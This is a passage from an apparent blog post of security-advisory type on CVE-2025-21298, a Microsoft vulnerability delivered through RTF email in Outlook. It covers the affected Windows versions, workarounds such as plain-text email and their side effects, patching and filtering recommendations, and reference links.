<h3 id="heading-affected-systems">Affected Systems</h3>
<p>This vulnerability affects a wide range of Microsoft products, including:</p>
<ul>
<li><p>Windows Server (2008 through 2025)</p>
</li>
<li><p>Windows 10 and Windows 11</p>
</li>
</ul>
<p>The full list of affected systems is available in <a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">Microsoft’s official Security Advisory</a>.</p>
<h3 id="heading-mitigation-and-workarounds">Mitigation and Workarounds</h3>
<p>Microsoft has released a security update to address CVE-2025–21298. All users and organizations are strongly advised to apply these updates immediately to protect their systems from potential exploitation.</p>
<p>For those unable to update, the following workarounds can reduce the risk:</p>
<ul>
<li><p>Configure Microsoft Outlook to read all emails in plain text format. This prevents the rendering of malicious RTF files.</p>
</li>
<li><p>Avoid opening or previewing email attachments from unknown or untrusted sources.</p>
</li>
</ul>
<h3 id="heading-impact-of-workarounds">Impact of Workarounds</h3>
<p>Using plain text format in Outlook may result in:</p>
<ul>
<li><p>Loss of rich content, such as pictures, animations, and specialized fonts.</p>
</li>
<li><p>Unexpected behavior in custom code solutions relying on email objects.</p>
</li>
</ul>
<h3 id="heading-recommendations">Recommendations</h3>
<ul>
<li><p>Apply Microsoft’s official security patches immediately.</p>
</li>
<li><p>Educate users about phishing risks and train them to identify suspicious emails.</p>
</li>
<li><p>Use email filtering solutions to block RTF attachments from unknown sources.</p>
</li>
<li><p>Monitor network activity for signs of exploitation and deploy endpoint protection tools.</p>
</li>
</ul>
<h3 id="heading-references">References</h3>
<ul>
<li><p><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21298">CVE-2025–21298 Microsoft Security Update Guide</a></p>
</li>
<li><p><a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2025-21298">CVE-2025–21298 NVD Advisory</a></p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>CVE-2025–21298 underscores the importance of staying vigilant against email-based threats. The critical severity of this vulnerability, coupled with the low complexity of exploitation, makes it a significant risk for individuals and organizations. Prompt action, including applying patches and following mitigation guidelines, is essential to ensure system security.</p>
]]></content:encoded></item></channel></rss>